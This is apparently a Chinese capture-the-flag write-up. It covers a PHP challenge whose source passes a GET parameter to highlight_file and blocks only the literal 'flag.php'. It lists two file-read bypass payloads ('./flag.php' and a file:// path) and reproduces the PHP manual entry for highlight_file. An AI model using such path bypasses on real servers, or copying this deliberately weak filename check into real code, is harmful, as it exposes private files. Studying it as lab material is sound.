ApachePHP/5.4.45php伪协议
0x01 源码
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
读取文件,参数不等于flag.php,可以加个./
还可以用php伪协议
0x02 Payload
?u=./flag.php
?u=file:///var/www/html/flag.php
https://segmentfault.com/a/1190000018991087
0x03 PHP函数
1. highlight_file
highlight_file — 语法高亮一个文件
highlight_file ( string $filename [, bool $return = false ] ) : mixed
使用PHP内置的语法高亮器所定义的颜色,打印输出或者返回 filename
文件中语法高亮版本的代码。
许多服务器配置了自动高亮 phps 扩展的文件。 比如,访问 example.phps 会显示语法高亮后的文件。 添加以下一行代码到 httpd.conf 使此生效:
AddType application/x-httpd-php-source .phps
参数
filename
欲高亮文件的路径。return
设置该参数为 **TRUE**
使函数返回高亮后的代码。
返回值
如果 return
设置为 **TRUE**
,高亮后的代码不会被打印输出,而是以字符串的形式返回。 高亮成功返回 **TRUE**
,否则返回 **FALSE**
。